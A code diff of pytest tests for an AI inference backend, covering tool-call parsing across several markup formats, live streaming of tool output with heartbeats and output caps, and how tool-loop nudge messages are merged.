+        assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
+
+    def test_non_call_leading_object_defers_to_trailing_real_call(self):
+        # Nameless answers and disabled-name objects take the decline path:
+        # the object is dropped and the real trailing call still parses.
+        for lead in ('{"answer": 42}', '{"name":"draft","parameters":{}}'):
+            text = lead + ' <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+            calls = parse_tool_calls_from_text(text, enabled_tool_names = {"delete_all"})
+            assert [c["function"]["name"] for c in calls] == ["delete_all"], (lead, calls)
+
+    def test_leading_xml_call_still_wins_over_trailing_bare_json(self):
+        text = (
+            '<tool_call>{"name":"delete_all","arguments":{}}</tool_call> '
+            'Example: {"name":"lookup","parameters":{"q":"x"}}'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"})
+        assert [c["function"]["name"] for c in calls] == ["delete_all"], calls
+
+
+class TestProseCloseTagAfterClosedFunctionCall:
+    """A literal </function> in prose after a closed call is data: the call
+    ends at its first close that is not parameter data, so arguments never
+    swallow the prose between the real close and the literal."""
+
+    def test_arguments_do_not_swallow_prose(self):
+        text = (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+            " Done. The tag </function> closes a call."
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_literal_close_inside_open_parameter_stays_data(self):
+        text = '<function=python><parameter=code>print("</function>")</parameter></function>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert [c["function"]["name"] for c in calls] == ["python"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
+
+    def test_attribute_form_arguments_do_not_swallow_prose(self):
+        # The <function name="..."> attribute form shares the first-balanced-close
+        # rule: prose mentioning a literal close tag never folds into arguments.
+        text = (
+            '<function name="web_search"><parameter name="query">cats</parameter></function>'
+            " Done. The tag </function> closes a call."
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_attribute_form_literal_close_in_open_parameter_stays_data(self):
+        text = '<function name="python"><parameter name="code">print("</function>")</parameter></function>'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"})
+        assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</function>")'}
+
+    def test_attribute_form_two_calls_both_parse(self):
+        text = (
+            '<function name="web_search"><parameter name="query">cats</parameter></function>'
+            '<function name="python"><parameter name="code">x=1</parameter></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "python"})
+        assert [c["function"]["name"] for c in calls] == ["web_search", "python"], calls
+
+
+class TestEnabledNameJsonAnswerIsContent:
+    """A JSON answer whose top-level name matches an enabled tool but has no
+    call shape is content: the parser rejects it, so the strip and the drain
+    gate must keep it visible too."""
+
+    def test_answer_survives_strip(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        ans = '{"name":"web_search","result":"no call"}'
+        assert strip_leading_bare_json_call(ans, {"web_search"}) == ans
+
+    def test_answer_does_not_route_to_draining(self):
+        from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+        assert not _looks_like_enabled_bare_json(
+            '{"name":"web_search","result":"no call"}', {"web_search"}
+        )
+
+    def test_real_call_still_strips_and_drains(self):
+        from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+        real = '{"name":"web_search","parameters":{"q":"x"}}'
+        assert strip_leading_bare_json_call(real, {"web_search"}) == ""
+        assert _looks_like_enabled_bare_json(real, {"web_search"})
+
+    def test_arguments_string_call_still_strips(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        call = '{"name":"web_search","arguments":"{\\"q\\":\\"x\\"}"} tail'
+        assert strip_leading_bare_json_call(call, {"web_search"}) == "tail"
+
+
+class TestAttributeFormLeadingContainment:
+    """A leading attribute-form call owns the turn: markup quoted inside its
+    parameter is data, not a call for the shared XML parser to promote."""
+
+    def test_quoted_tool_call_inside_param_stays_data(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<function name="web_search"><param name="query">find '
+            '<tool_call>{"name":"delete","arguments":{}}</tool_call></param></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+        assert "delete" in json.loads(calls[0]["function"]["arguments"])["query"]
+
+    def test_real_xml_call_before_attribute_form_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<tool_call>{"name":"delete","arguments":{}}</tool_call> Example: '
+            '<function name="web_search"><param name="q">x</param></function>'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"})
+        assert calls[0]["function"]["name"] == "delete"
+
+
+class TestParameterKeepsMultipleLiteralCloses:
+    """A parameter that provably closes with its own tag keeps every literal
+    function close inside it as data (regression: the first literal close was
+    treated as ending the parameter, truncating the value)."""
+
+    def test_two_literal_closes_in_one_parameter(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            '<function name="web_search"><param name="query">'
+            "a </function> b </function> c </param></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "query": "a </function> b </function> c"
+        }
+
+    def test_strip_removes_the_whole_call(self):
+        from core.inference.tool_call_parser import strip_tool_markup
+        text = (
+            '<function name="web_search"><param name="query">'
+            "a </function> b </function> c </param></function> after"
+        )
+        assert strip_tool_markup(text, final = True) == "after"
+
+    def test_unclosed_parameter_still_heals_at_function_close(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+        calls = parse_tool_calls_from_text(
+            "<function=web_search><parameter=query>val</function>",
+            enabled_tool_names = {"web_search"},
+        )
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "val"}
+
+
+class TestMistralPreambleOwnership:
+    """A visible preface before the first Mistral call must not hand the turn
+    to a later XML literal: the Mistral call is first in document order."""
+
+    def test_v11_named_form_after_preface(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            'pref [TOOL_CALLS]web_search[ARGS]{"query":"cats"} Note '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_array_form_after_preface(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            'pref [TOOL_CALLS][{"name":"web_search","arguments":{"query":"cats"}}] Note '
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"]
+
+    def test_xml_call_before_trigger_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            "<function=evil><parameter=x>1</parameter></function> then "
+            '[TOOL_CALLS][{"name":"web_search","arguments":{}}]'
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"})
+        assert calls[0]["function"]["name"] == "evil"
+
+    def test_prose_mention_without_call_shape_keeps_order(self):
+        from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+        text = (
+            "See [TOOL_CALLS] docs for details. "
+            "<function=evil><parameter=x>1</parameter></function>"
+        )
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"evil"})
+        assert [c["function"]["name"] for c in calls] == ["evil"]
+
+
+class TestBareJsonStripRequiresTopLevelName:
+    """The strip's shape gate requires the parser's TOP-LEVEL name in every
+    mode: a JSON answer with only a nested name is content, even name-agnostic."""
+
+    def test_nested_name_answer_survives_name_agnostic_strip(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+        ans = '{"parameters":{},"result":{"name":"web_search"}}'
+        assert strip_leading_bare_json_call(ans) == ans
+        assert strip_leading_bare_json_call(ans, {"web_search"}) == ans
+
+    def test_real_call_still_strips_name_agnostic(self):
+        from core.inference.tool_call_parser import strip_leading_bare_json_call
+        assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"q":"x"}}') == ""
+
+
+class TestGemmaAwareClosedBlockPrePass:
+    """The closed JSON/function strip pre-pass must not delete across a complete
+    Gemma span (a quoted <function=...> plus a later real </function>)."""
+
+    def test_literal_function_in_gemma_arg_with_later_real_call(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            'before <|tool_call>call:python{code:<|"|>print("<function=x>")<|"|>}'
+            "<tool_call|> <function=terminal><parameter=cmd>ls</parameter>"
+            "</function> after"
+        )
+        assert strip_tool_call_markup(text, final = True) == "before   after"
+
+    def test_literal_function_in_gemma_arg_with_prose_closer(self):
+        from core.tool_healing import strip_tool_call_markup
+
+        text = (
+            'before <|tool_call>call:python{code:<|"|>print("<function=x>")<|"|>}'
+            "<tool_call|> then use </function> to close. after"
+        )
+        out = strip_tool_call_markup(text, final = True)
+        assert out.startswith("before")
+        assert out.endswith("after")
+        assert "call:python" not in out
+
+    def test_gemma_opener_inside_json_arg_still_strips_block(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            '<tool_call>{"name":"t","arguments":{"code":"<|tool_call>call:x{"}}</tool_call> after'
+        )
+        assert strip_tool_call_markup(text, final = True) == "after"
+
+    def test_gemma_opener_inside_function_param_still_strips_block(self):
+        from core.tool_healing import strip_tool_call_markup
+        text = (
+            '<function=python><parameter=code>x = "<|tool_call>call:t{"</parameter>'
+            "</function> after"
+        )
+        assert strip_tool_call_markup(text, final = True) == "after"
diff --git a/studio/backend/tests/test_tool_confirm_loop.py b/studio/backend/tests/test_tool_confirm_loop.py
index 17ef697674..3db591f542 100644
--- a/studio/backend/tests/test_tool_confirm_loop.py
+++ b/studio/backend/tests/test_tool_confirm_loop.py
@@ -42,6 +42,7 @@ class _FakeExecuteTool:
         cancel_event = None,
         timeout = None,
         session_id = None,
+        thread_id = None,
         rag_scope = None,
         disable_sandbox = False,
     ):
diff --git a/studio/backend/tests/test_tool_confirm_stream.py b/studio/backend/tests/test_tool_confirm_stream.py
index b8e0472e12..0813f6b68d 100644
--- a/studio/backend/tests/test_tool_confirm_stream.py
+++ b/studio/backend/tests/test_tool_confirm_stream.py
@@ -3,12 +3,12 @@
 
 """End-to-end handshake test for the tool-confirmation gate, no model.
 
-The real Studio stream wrappers in ``routes/inference.py`` drive the
+The real Unsloth stream wrappers in ``routes/inference.py`` drive the
 synchronous agentic generator with ``await asyncio.to_thread(next, gen,
 ...)`` so the blocking ``threading.Event`` wait runs off the event loop.
 This test rebuilds that exact pattern around the real
 ``state.tool_approvals`` functions, served by a real uvicorn process on
-loopback (the same server Studio uses), and proves the load-bearing
+loopback (the same server Unsloth uses), and proves the load-bearing
 property:
 
 * ``tool_start`` reaches the client before the gate blocks, and
diff --git a/studio/backend/tests/test_tool_loop_controller.py b/studio/backend/tests/test_tool_loop_controller.py
index 0e8ae798af..496c30ac13 100644
--- a/studio/backend/tests/test_tool_loop_controller.py
+++ b/studio/backend/tests/test_tool_loop_controller.py
@@ -13,6 +13,7 @@ if _BACKEND_DIR not in sys.path:
 
 from core.inference.tool_loop_controller import (
     ToolLoopController,
+    append_deferred_nudges,
     canonical_tool_call_key,
     coerce_tool_arguments,
     status_for_tool,
@@ -21,6 +22,22 @@ from core.inference.tool_loop_controller import (
 )
 
 
+def test_append_deferred_nudges_merges_deduped_into_one_message():
+    conversation = [{"role": "assistant", "tool_calls": [1]}, {"role": "tool", "content": "r"}]
+    nudges = [
+        {"role": "user", "content": "duplicate"},
+        {"role": "user", "content": "duplicate"},  # dropped: same content
+        {"role": "user", "content": "disabled foo"},
+    ]
+    append_deferred_nudges(conversation, nudges)
+    # One user message, after the results, with distinct contents joined.
+    assert conversation[2:] == [{"role": "user", "content": "duplicate\n\ndisabled foo"}]
+    # Empty is a no-op.
+    before = list(conversation)
+    append_deferred_nudges(conversation, [])
+    assert conversation == before
+
+
 def _tool(name: str) -> dict:
     return {"type": "function", "function": {"name": name}}
 
@@ -111,6 +128,10 @@ def test_successful_duplicate_is_internal_noop_and_keeps_remaining_tools():
     assert not duplicate.should_execute
     assert not duplicate.emit_visible_events
     duplicate_nudge = completion.model_message()["content"]
+    assert duplicate_nudge.startswith(
+        "One earlier request to call tool 'web_search' in this batch was not executed"
+    )
+    assert "previous tool request" not in duplicate_nudge.lower()
     assert "already completed successfully" in duplicate_nudge
     assert "different enabled tool" in duplicate_nudge
     assert completion.model_message()["role"] == "user"
@@ -165,7 +186,12 @@ def test_empty_enabled_tool_list_blocks_all_tool_calls():
     assert decision.action == "disabled"
     assert not decision.emit_visible_events
     assert completion.model_message()["role"] == "user"
-    assert "not enabled" in completion.model_message()["content"]
+    disabled_nudge = completion.model_message()["content"]
+    assert disabled_nudge.startswith(
+        "One earlier request to call tool 'web_search' in this batch was not executed"
+    )
+    assert "previous tool request" not in disabled_nudge.lower()
+    assert "not enabled" in disabled_nudge
     assert controller.force_final_answer
     assert controller.active_tools() == []
 
diff --git a/studio/backend/tests/test_tool_message_empty_content.py b/studio/backend/tests/test_tool_message_empty_content.py
index d63b16ce80..636a35f5a9 100644
--- a/studio/backend/tests/test_tool_message_empty_content.py
+++ b/studio/backend/tests/test_tool_message_empty_content.py
@@ -4,7 +4,7 @@
 """Empty ``role="tool"`` content must be accepted on the OpenAI-compat surface.
 
 Agentic clients send ``content: ""`` when a command produced no output;
-OpenAI and llama-server both accept it. Studio used to 400, which standard
+OpenAI and llama-server both accept it. Unsloth used to 400, which standard
 clients treat as non-retryable and kill the session. The validator must
 normalize empty/missing tool content to ``""`` instead of raising.
 """
diff --git a/studio/backend/tests/test_tool_output_streaming.py b/studio/backend/tests/test_tool_output_streaming.py
new file mode 100644
index 0000000000..28bd79cc6e
--- /dev/null
+++ b/studio/backend/tests/test_tool_output_streaming.py
@@ -0,0 +1,1234 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Live tool-output streaming and heartbeats for server-side tool execution.
+
+Covers three invariants:
+
+* ``stream_tool_execution`` yields incremental ``tool_output`` events and
+  ``heartbeat`` events while a tool blocks, and returns the tool's result
+  byte-identical to a direct call;
+* ``_python_exec`` / ``_bash_exec`` produce the same result string with and
+  without an ``output_callback`` (the final tool message the model sees is
+  untouched by streaming);
+* the GGUF agentic loop emits ``tool_output`` between ``tool_start`` and
+  ``tool_end`` and feeds the model the same ``role=tool`` message as before.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+import threading
+import time
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+_TESTS_DIR = str(Path(__file__).resolve().parent)
+if _TESTS_DIR not in sys.path:
+    sys.path.insert(0, _TESTS_DIR)
+
+from core.inference.tool_stream_exec import (
+    TOOL_OUTPUT_STREAM_MAX_CHARS,
+    stream_tool_execution,
+)
+from core.inference.tools import _bash_exec, _python_exec
+
+from test_llama_cpp_tool_loop import _done, _make_backend, _sse
+
+
+def _run_stream(invoke, **kwargs):
+    """Drive the wrapper generator; return (events, result)."""
+    gen = stream_tool_execution(invoke, **kwargs)
+    events = []
+    while True:
+        try:
+            events.append(next(gen))
+        except StopIteration as stop:
+            return events, stop.value
+
+
+# ── stream_tool_execution ────────────────────────────────────────
+
+
+def test_result_returned_verbatim_without_output():
+    events, result = _run_stream(
+        lambda _cb: "final result",
+        tool_name = "web_search",
+    )
+    assert result == "final result"
+    assert [e for e in events if e["type"] == "tool_output"] == []
+
+
+def test_incremental_output_streams_as_tool_output_events():
+    def tool(callback):
+        callback("line 1\n")
+        callback("line 2\n")
+        return "line 1\nline 2\n"
+
+    events, result = _run_stream(tool, tool_name = "python", tool_call_id = "call_1")
+    assert result == "line 1\nline 2\n"
+    outputs = [e for e in events if e["type"] == "tool_output"]
+    assert outputs, "expected tool_output events"
+    assert "".join(e["text"] for e in outputs) == "line 1\nline 2\n"
+    assert all(e["tool_name"] == "python" for e in outputs)
+    assert all(e["tool_call_id"] == "call_1" for e in outputs)
+
+
+def test_heartbeats_emitted_while_tool_blocks():
+    release = threading.Event()
+
+    def tool(_cb):
+        release.wait(timeout = 5)
+        return "done"
+
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "web_search",
+        heartbeat_interval_s = 0.04,
+        poll_interval_s = 0.02,
+    )
+    events = []
+    result = None
+    try:
+        while True:
+            event = next(gen)
+            events.append(event)
+            if len([e for e in events if e["type"] == "heartbeat"]) >= 2:
+                release.set()
+    except StopIteration as stop:
+        result = stop.value
+    assert result == "done"
+    assert len([e for e in events if e["type"] == "heartbeat"]) >= 2
+
+
+def test_output_resets_heartbeat_pacing():
+    # A steady output stream means no heartbeats are needed.
+    def tool(callback):
+        for i in range(5):
+            callback(f"tick {i}\n")
+            time.sleep(0.01)
+        return "ok"
+
+    events, result = _run_stream(
+        tool,
+        tool_name = "python",
+        heartbeat_interval_s = 10.0,
+        poll_interval_s = 0.02,
+    )
+    assert result == "ok"
+    assert [e for e in events if e["type"] == "heartbeat"] == []
+
+
+def test_tool_exception_propagates_after_stream():
+    def tool(_cb):
+        raise RuntimeError("boom")
+
+    gen = stream_tool_execution(tool, tool_name = "python")
+    try:
+        while True:
+            next(gen)
+    except RuntimeError as exc:
+        assert str(exc) == "boom"
+    else:
+        raise AssertionError("expected RuntimeError")
+
+
+def test_output_before_worker_raises_is_preserved():
+    # Output streamed before the worker raises survives; the exception still propagates.
+    def tool(callback):
+        callback("partial before crash\n")
+        time.sleep(0.02)
+        raise RuntimeError("late boom")
+
+    gen = stream_tool_execution(tool, tool_name = "python", poll_interval_s = 0.01)
+    events = []
+    with pytest.raises(RuntimeError, match = "late boom"):
+        while True:
+            events.append(next(gen))
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert "partial before crash" in streamed
+
+
+def test_generator_close_cancels_observing_tool():
+    # gen.close() (SSE client disconnect) sets the shared cancel_event, so a
+    # cancel-observing tool returns at once.
+    cancel_event = threading.Event()
+    started = threading.Event()
+    returned = threading.Event()
+
+    def tool(_cb):
+        started.set()
+        cancel_event.wait(timeout = 5)  # cancel-observing: unblocks on cancel
+        returned.set()
+        return "cancelled cleanly"
+
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "web_search",
+        cancel_event = cancel_event,
+        heartbeat_interval_s = 0.02,
+        poll_interval_s = 0.01,
+    )
+    next(gen)  # prime the worker; returns a heartbeat while the tool blocks
+    assert started.wait(timeout = 2)
+    gen.close()  # GeneratorExit -> sets cancel_event, then bounded join
+    assert cancel_event.is_set()
+    assert returned.wait(timeout = 2)  # the tool actually observed cancellation
+
+
+def test_generator_close_is_bounded_for_cancel_ignoring_tool(monkeypatch):
+    # A tool that ignores cancel_event must not stall teardown: gen.close() waits
+    # at most the bounded join, not the tool's full runtime.
+    monkeypatch.setattr("core.inference.tool_stream_exec._WORKER_JOIN_TIMEOUT_S", 0.2)
+    release = threading.Event()
+
+    def tool(_cb):
+        # Ignores cancel_event; stands in for a web_search/MCP call that never polls it.
+        release.wait(timeout = 30)
+        return "slow"
+
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "web_search",
+        cancel_event = threading.Event(),
+        heartbeat_interval_s = 0.02,
+        poll_interval_s = 0.01,
+    )
+    next(gen)
+    started = time.monotonic()
+    gen.close()
+    elapsed = time.monotonic() - started
+    release.set()  # let the daemon worker finish so no sleeper lingers
+    assert elapsed < 2.0  # bounded by _WORKER_JOIN_TIMEOUT_S, not the 30s tool
+
+
+def test_cancel_event_not_set_on_clean_finish():
+    # cancel_event is shared across a turn; a clean finish must leave it unset so
+    # the next tool in the same turn is not aborted.
+    cancel_event = threading.Event()
+
+    def tool(_cb):
+        return "ok"
+
+    events, result = _run_stream(
+        tool,
+        tool_name = "python",
+        cancel_event = cancel_event,
+    )
+    assert result == "ok"
+    assert not cancel_event.is_set()
+
+
+def test_no_worker_thread_leak_under_repeated_close(monkeypatch):
+    # Repeated start-then-close must not leak worker threads: each cancel-observing
+    # worker exits once close() signals it.
+    monkeypatch.setattr("core.inference.tool_stream_exec._WORKER_JOIN_TIMEOUT_S", 0.2)
+
+    def _live_tool_workers():
+        return [t for t in threading.enumerate() if t.name.startswith("tool-exec-")]
+
+    for _ in range(50):  # let workers from earlier tests drain
+        if not _live_tool_workers():
+            break
+        time.sleep(0.02)
+    baseline = len(_live_tool_workers())
+
+    for _ in range(60):
+        cancel_event = threading.Event()
+
+        def tool(_cb, _ev = cancel_event):
+            _ev.wait(timeout = 5)
+            return "done"
+
+        gen = stream_tool_execution(
+            tool,
+            tool_name = "soak",
+            cancel_event = cancel_event,
+            heartbeat_interval_s = 0.02,
+            poll_interval_s = 0.01,
+        )
+        next(gen)
+        gen.close()  # sets cancel_event -> tool returns -> worker exits
+
+    for _ in range(100):
+        if len(_live_tool_workers()) <= baseline:
+            break
+        time.sleep(0.02)
+    assert len(_live_tool_workers()) <= baseline
+
+
+def test_streamed_output_is_capped_but_result_is_not():
+    big = "x" * (TOOL_OUTPUT_STREAM_MAX_CHARS + 5000)
+
+    def tool(callback):
+        callback(big)
+        return big
+
+    events, result = _run_stream(tool, tool_name = "python")
+    assert result == big  # final result untouched by the stream cap
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert len(streamed) < len(big)
+    assert "further live output not streamed" in streamed
+
+
+def test_heartbeats_continue_while_capped_output_flows():
+    # After the cap, discarded chunks must not starve the keepalive: a chatty tool
+    # keeps the queue non-empty, so without the fix no heartbeat fires and the SSE
+    # stream stays silent past proxy idle timeouts.
+    release = threading.Event()
+
+    def tool(callback):
+        callback("x" * (TOOL_OUTPUT_STREAM_MAX_CHARS + 10))  # trip the cap
+        while not release.is_set():
+            callback("post-cap spam")
+            time.sleep(0.005)
+        return "done"
+
+    # Watchdog: on regressed code next(gen) blocks forever while spam flows; the
+    # timer ends the tool, turning that hang into a clean assertion failure.
+    watchdog = threading.Timer(8.0, release.set)
+    watchdog.start()
+    gen = stream_tool_execution(
+        tool,
+        tool_name = "python",
+        heartbeat_interval_s = 0.04,
+        poll_interval_s = 0.02,
+    )
+    events = []
+    result = None
+    try:
+        while True:
+            event = next(gen)
+            events.append(event)
+            if len([e for e in events if e["type"] == "heartbeat"]) >= 2:
+                release.set()
+    except StopIteration as stop:
+        result = stop.value
+    finally:
+        release.set()
+        watchdog.cancel()
+    assert result == "done"
+    assert len([e for e in events if e["type"] == "heartbeat"]) >= 2
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert "further live output not streamed" in streamed
+    assert "post-cap spam" not in streamed  # cap still enforced
+
+
+def test_drain_queue_bounds_the_over_cap_batch():
+    # _drain_queue stops concatenating once the cap is first exceeded and discards
+    # the rest in place, so a chatty tool's huge backlog never defeats the memory ceiling.
+    import queue as _queue
+
+    from core.inference.tool_stream_exec import _drain_queue
+
+    q: _queue.Queue = _queue.Queue()
+    sentinel = object()
+    chunk = "z" * 1000
+    for _ in range(5000):  # 5 MB queued ahead of the drain
+        q.put(chunk)
+    q.put(sentinel)
+    text, hit_sentinel = _drain_queue(q, sentinel, max_chars = 100)
+    assert hit_sentinel is True
+    # At most cap + one chunk is joined, not the full 5 MB backlog.
+    assert len(text) <= 100 + len(chunk)
+    assert q.empty()  # surplus still drained so completion is detected
+
+
+def test_drain_queue_does_not_materialize_surplus_crossing_chunk():
+    # The single chunk that first crosses the cap must not be materialized in full
+    # (a tool can emit one multi-megabyte line). Keep just one char past the budget
+    # to preserve the overflow signal and byte-identical truncation, even when the
+    # budget is already met (max_chars <= 0).
+    import queue as _queue
+
+    from core.inference.tool_stream_exec import _drain_queue
+
+    sentinel = object()
+    huge = "z" * 1_000_000
+
+    # Budget already met (non-positive): keep one char, a true prefix.
+    for cap in (0, -500):
+        q: _queue.Queue = _queue.Queue()
+        q.put(huge)
+        q.put("more")
+        q.put(sentinel)
+        text, hit_sentinel = _drain_queue(q, sentinel, max_chars = cap)
+        assert hit_sentinel is True
+        assert len(text) == 1
+        assert huge.startswith(text)
+        assert q.empty()
+
+    # Positive cap crossed by one huge chunk: bounded to cap + 1, prefix kept.
+    q = _queue.Queue()
+    q.put(huge)
+    q.put(sentinel)
+    text, hit_sentinel = _drain_queue(q, sentinel, max_chars = 100)
+    assert len(text) == 101
+    assert text == huge[:101]
+
+
+def test_drain_queue_unbounded_joins_everything():
+    # Without a cap the join is complete and ordered (the sub-cap path streams
+    # every chunk verbatim on this).
+    import queue as _queue
+
+    from core.inference.tool_stream_exec import _drain_queue
+
+    q: _queue.Queue = _queue.Queue()
+    sentinel = object()
+    for i in range(3):
+        q.put(f"c{i}")
+    q.put(sentinel)
+    text, hit_sentinel = _drain_queue(q, sentinel, max_chars = None)
+    assert hit_sentinel is True
+    assert text == "c0c1c2"
+
+
+def test_over_cap_crossing_batch_streams_capped_output():
+    # End-to-end: a burst crossing the cap in one drain still yields a capped live
+    # stream and an untouched final result.
+    chunk = "z" * 1000
+
+    def tool(callback):
+        for _ in range(3000):  # ~3 MB, well past the cap, in one burst
+            callback(chunk)
+        return "final"
+
+    events, result = _run_stream(tool, tool_name = "python")
+    assert result == "final"
+    streamed = "".join(e["text"] for e in events if e["type"] == "tool_output")
+    assert len(streamed) <= TOOL_OUTPUT_STREAM_MAX_CHARS + len(
+        "\n... (further live output not streamed)\n"
+    )
+    assert "further live output not streamed" in streamed
+
+
+# ── python / terminal executors ──────────────────────────────────
+
+_PY_CODE = "for i in range(5):\n    print('row', i)\n"
+
+
+def test_python_exec_result_identical_with_streaming():
+    baseline = _python_exec(_PY_CODE, timeout = 60)
+    chunks: list[str] = []
+    streamed = _python_exec(_PY_CODE, timeout = 60, output_callback = chunks.append)
+    assert streamed == baseline
+    assert "".join(chunks) == "".join(f"row {i}\n" for i in range(5))
+
+
+def test_python_exec_streams_lines_incrementally():
+    # The first of two sleep-separated prints must reach the callback well before exit.
+    code = (
+        "import time\n"
+        "print('first', flush=True)\n"
+        "time.sleep(1.0)\n"
+        "print('second', flush=True)\n"
+    )
+    first_seen_at: list[float] = []
+
+    def on_chunk(_text: str) -> None:
+        if not first_seen_at:
+            first_seen_at.append(time.monotonic())
+
+    started = time.monotonic()
+    result = _python_exec(code, timeout = 60, output_callback = on_chunk)
+    finished = time.monotonic()
+    assert "first" in result and "second" in result
+    assert first_seen_at, "callback never invoked"
+    # First line arrived before the sleep completed (margin for slow interpreter start).
+    assert first_seen_at[0] - started < finished - started - 0.5
+
+
+def test_python_exec_unflushed_print_streams_live_and_result_identical():
+    # A bare print() WITHOUT flush=True then a sleep. -u forces the child's stdout
+    # unbuffered so the line reaches the callback before exit (else CPython
+    # block-buffers the pipe and the live pane stays empty). -u changes timing only,
+    # so the joined result stays byte-identical to the non-streaming run.
+    code = (
+        "import time\n"
+        "print('progress')\n"  # no flush=True
+        "time.sleep(1.0)\n"
+        "print('done')\n"
+    )
+    first_seen_at: list[float] = []
+
+    def on_chunk(_text: str) -> None:
+        if not first_seen_at:
+            first_seen_at.append(time.monotonic())
+
+    baseline = _python_exec(code, timeout = 60)
+    started = time.monotonic()
+    streamed = _python_exec(code, timeout = 60, output_callback = on_chunk)
+    finished = time.monotonic()
+    assert streamed == baseline
+    assert "progress" in streamed and "done" in streamed
+    assert first_seen_at, "callback never invoked for unflushed print"
+    # Unflushed line arrived before the sleep finished: streamed live, not at exit.
+    assert first_seen_at[0] - started < finished - started - 0.5
+
+
+def test_python_exec_error_exit_identical_with_streaming():
+    code = "print('before')\nraise SystemExit(3)\n"
+    baseline = _python_exec(code, timeout = 60)
+    streamed = _python_exec(code, timeout = 60, output_callback = lambda _t: None)
+    assert streamed == baseline
+    assert streamed.startswith("Exit code 3:")
+
+
+def test_python_exec_timeout_message_identical_with_streaming():
+    code = "import time\ntime.sleep(30)\n"
+    baseline = _python_exec(code, timeout = 1)
+    streamed = _python_exec(code, timeout = 1, output_callback = lambda _t: None)
+    assert streamed == baseline == "Execution timed out after 1 seconds."
+
+
+def test_python_exec_callback_errors_do_not_break_execution():
+    def bad_callback(_text: str) -> None:
+        raise ValueError("observer bug")
+
+    result = _python_exec("print('ok')", timeout = 60, output_callback = bad_callback)
+    assert result.strip() == "ok"
+
+
+def test_bash_exec_result_identical_with_streaming():
+    command = "echo one; echo two"
+    baseline = _bash_exec(command, timeout = 60)
+    chunks: list[str] = []
+    streamed = _bash_exec(command, timeout = 60, output_callback = chunks.append)
+    assert streamed == baseline
+    assert "".join(chunks) == "one\ntwo\n"
+
+
+def test_bash_exec_invalid_utf8_identical_with_streaming():
+    # Invalid UTF-8 must not kill either path: the pipe decodes with
+    # errors="replace", so the streaming reader thread cannot die on the
+    # UnicodeDecodeError readline raises, and both paths return the same replaced text.
+    command = "printf 'ok\\377bad\\n'"  # \377 = 0xFF, invalid UTF-8
+    baseline = _bash_exec(command, timeout = 60)
+    chunks: list[str] = []
+    streamed = _bash_exec(command, timeout = 60, output_callback = chunks.append)
+    assert streamed == baseline
+    assert not baseline.startswith("Execution error")
+    assert "ok" in baseline and "bad" in baseline
+    assert "�" in baseline  # replacement character, not a crash
+    assert "".join(chunks) == "ok�bad\n"
+
+
